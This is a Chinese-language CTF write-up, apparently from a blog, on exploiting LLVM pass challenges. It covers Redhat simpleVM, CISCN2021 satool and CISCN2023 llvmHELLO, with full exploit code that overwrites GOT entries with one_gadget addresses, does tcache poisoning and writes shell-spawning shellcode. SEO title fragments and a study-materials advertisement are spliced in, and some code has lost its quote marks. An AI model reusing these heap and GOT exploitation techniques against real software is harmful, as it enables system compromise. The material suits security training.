网站建设费用高低有什么区别,专业建设的基本要素,网站推广的要点,罗湖做网站一、基本流程
①找到runOnFunction函数时如何重写的#xff0c;一般来说runOnFunction都会在函数表最下面,找PASS注册的名称#xff0c;一般会在README文件中给出#xff0c;若是没有给出#xff0c;可通过对__cxa_atexit函数交叉引用来定位#xff1a;
②通…一、基本流程
①找到runOnFunction函数时如何重写的一般来说runOnFunction都会在函数表最下面,找PASS注册的名称一般会在README文件中给出若是没有给出可通过对__cxa_atexit函数交叉引用来定位
②通过逆向找到函数名及参数编写基本exp
③找到漏洞写利用exp.c其中的pwn的目标是opt文件查看保护和找gadget都在opt中找
④生成.ll文件
⑤将.ll文件输入到LLVM中
二、命令
用下面的命令可以生成.ll文件准备输入到LLVM中
clang -emit-llvm -S exp.c -o exp.ll最后用下面的命令将.ll文件输入到LLVM中如果想要得到结果可以在后面添加 [文件名]来获取
opt -load ./LLVMFirst.so -hello ./exp.ll三、例题
1.202Redhat simpleVM
①重写函数 ②逆向编写基本exp 函数名为o0o0o0o0则继续执行sub_6AC0 循环遍历每一个基本块 这里也是一个循环遍历其中指令码需要为55才能进入下一步操作否则就会直接跳过这个指令去处理下一条指令即函数o0o0o0o0中的代码都要是函数调用。
帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS
getCalledFunction获取函数本身然后获取函数名赋值给s1 getNumOperands返回一条指令中的变量个数包括函数名和参数pop为2即参数数量为1
这里可以看到pop函数的参数是1,2分别对应两个寄存器pop操作就是弹栈操作并且栈是从低到高生长 push的参数也是一个1或2模拟压栈操作 store参数1个1或2将reg1存的地址指向的地方赋值为reg2中的值 load参数1个1或2将reg2赋值为reg1中的地址指向的值 add参数2个第一个是1或2第2个是加的数使寄存器中的值加上某一个值 min参数2个第一个是1或2第2个是减的数使寄存器中的值减去某一个值
得到基本exp
void o0o0o0o0();
void pop(int reg){};
void push(int reg){};
void store(int reg){};
void load(int reg){};
void add(int reg,int num){};
void min(int reg,int num){};void o0o0o0o0(){};③找到漏洞写攻击exp
store(1),将reg1存的地址指向的地方赋值为reg2中的值这里就有任意地址写。
load(1)将reg2赋值为reg1中的地址指向的值可以把libc写进去。
add和min可以对reg里的值进行加减相当于任意修改
查看一下opt的保护 没有开pie
所以攻击思路如下
reg初始值都为0首先将reg1通过add函数改为free函数的got表再通过load函数将reg1中的地址指向的值赋值给reg2再通过add或者min函数将reg2中的地址修改为one_gadget的地址再通过store函数将reg2的值赋值给reg1存的地址指向的地方即free的got表
add(1,free.got)
load(1)
add(2,ogg - free)
store(1)gdb调试
gdb opt-8
set args -load ./VMPass.so -VMPass ./exp.ll
b main
b *0x4bb7e3
b *(0x7f11c1a000000x73EE)
tele 0x7f11c1a000000x20E580调试到这里.so已经加载好了
下断点调试即可
调试可以看到成功修改freegot为one_gadget但是三个都打不通libc不同
2.CISCN2021 satool PASS注册名称为SAPass 函数名B4ckDo0r save函数两个参数char类型申请一个0x20的堆块把两个参数分别放入堆块中 stealkey函数没有参数把堆块中的第一个8字节赋值给byte_204100 fakekey函数1个参数与byte_204100相加并赋值给chunk的前8字节 run函数没有参数将chunk的前八字节作为函数指针调动
基本exp
void save(char *a,char *b);
void stealkey();
void fakekey(int a);
void run();
void B4ckDo0r(){}这里可以看到save会malloc一个0x20大小的chunk调试发现save一次后tcache中没有符合要求的chunk了再save一次就会变成small bins这时候chunk中会有残留的libc指针再通过stealkey把指针赋值给byte_204100再用fakekey对指针进行偏移的加减改为one_gadget执行run函数即可
完整exp
void save(char *a,char *b);
void stealkey();
void fakekey(int a);
void run();
void B4ckDo0r(){
save(aaaa,bbbb);
save(,b);
stealkey();
fakekey(-0x1090f2);
run();
}3.CISCN2023 llvmHELLO PASS注册名称为Hello Add函数一个参数申请一个堆块 Del函数一个参数free一个堆块没有uaf edit(idx,data_idx,data)edit函数3个参数向第idx个chunk的第data_idx个四字节写入4字节 Alloc函数没有参数将0x10000设置为可读可写可执行 EditAlloc函数2个参数EditAlloc(idx,idx_alloc)把第idx个chunk的前4个字节赋值给0x10000idx_alloc处
基本exp
void Add(int size);
void Del(int idx);
void Edit(int idx,int data_idx,int data);
void Alloc();
void EditAlloc(int idx,int addr);
void hello(){}在edit中存在堆溢出可利用edit修改tcache bin中chunk的fd进行tcache bin attack执行一次Alloc申请0x10000开始的0x1000的空间写入shellcode由于没有开启PIE用tcache bin attack改free的got表为0x10000然后执行Del函数执行shellcode拿到shell
最终exp
void Add(int size);
void Del(int idx);
void Edit(int idx,int data_idx,int data);
void Alloc();
void EditAlloc(int idx,int addr);void hello(){
Add(0xa0);Add(0x78); //0x8203
Edit(1,0,0xdeadbeef); // 0x8602
Add(0x78);
Edit(2,0,0xdeadbeef); // 0x8602
Add(0x78);
Edit(3,0,0xdeadbeef); // 0x8602
Del(1);
Del(3); //0x83e4
Edit(2,32,0x78b108); //Alloc();//0x8690
Edit(0,0,0x56f63148); // 0x8602
EditAlloc(0,0);
Edit(0,0,0x622fbf48); // 0x8602
EditAlloc(0,4);
Edit(0,0,0x2f2f6e69); // 0x8602
EditAlloc(0,8);
Edit(0,0,0x54576873); // 0x8602
EditAlloc(0,12);
Edit(0,0,0x583b6a5f); // 0x8602
EditAlloc(0,16);
Edit(0,0,0x00050f99); // 0x8602
EditAlloc(0,20);Add(0x78);
Add(0x78);
Edit(3,0,0x10000);
Edit(3,1,0);
Del(1);
}